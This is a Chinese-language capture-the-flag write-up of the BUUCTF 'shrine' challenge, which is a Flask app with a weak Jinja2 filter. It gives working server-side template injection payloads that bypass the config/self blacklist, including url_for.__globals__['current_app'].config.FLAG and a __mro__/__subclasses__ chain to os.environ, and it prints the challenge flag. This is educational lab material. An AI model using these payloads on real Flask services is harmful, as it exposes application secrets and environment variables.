BUUCTF——shrine
進入靶場
只有一串代碼
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') #程序從環境變量 FLAG 讀取一個敏感值,并存儲在 app.config['FLAG'] 中。
#安全問題:如果攻擊者能訪問 app.config,就能直接獲取 FLAG。
@app.route('/') def index(): return open(__file__).read() #訪問 / 會返回當前腳本的源代碼(包括 FLAG 的存儲方式)。
#安全問題:雖然這里沒有直接泄露 FLAG,但暴露了整個后端邏輯,幫助攻擊者分析可能的漏洞。
@app.route('/shrine/')
def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__': app.run(debug=True)
給了個shrine路徑
功能分析
**輸入控制**:
用戶提供的 shrine 參數會直接傳入 render_template_string(渲染 Jinja2 模板)。
safe_jinja 嘗試過濾危險字符:
刪除 ( 和 )(防止調用函數)。
使用黑名單 ['config', 'self'],并通過 {% set config=None %} 和 {% set self=None %} 嘗試覆蓋這些變量。
**目標**:
阻止攻擊者訪問 config 或 self(否則可以直接讀取 FLAG)。
看樣子應該是sstl漏洞
構造payload測試一下
/shrine/{{7*7}}
成功執行
根據這段代碼構造payload
漏洞分析
**/shrine/ 路由接受用戶輸入并直接渲染**
flask.render_template_string(safe_jinja(shrine)) 會渲染用戶提供的模板字符串。
safe_jinja 嘗試過濾 ( 和 ),并禁止 config 和 self,但過濾不充分。
**目標**
讀取 app.config['FLAG'],但 config 被設為 None,需要繞過限制。
**繞過思路**
使用 **屬性鏈(attribute chaining)** 訪問 config,例如:
{{ request.__class__.__mro__[X].__subclasses__()[Y].__init__.__globals__['os'].environ['FLAG'] }}
或者直接訪問 app 對象:
{{ url_for.__globals__['current_app'].config.FLAG }}(url_for 是 Flask 全局函數)
/shrine/{{ url_for.__globals__['current_app'].config.FLAG }}
拿到flag
flag{5b156383-e35a-4e21-ae62-60905f32fe31}
下播!!!!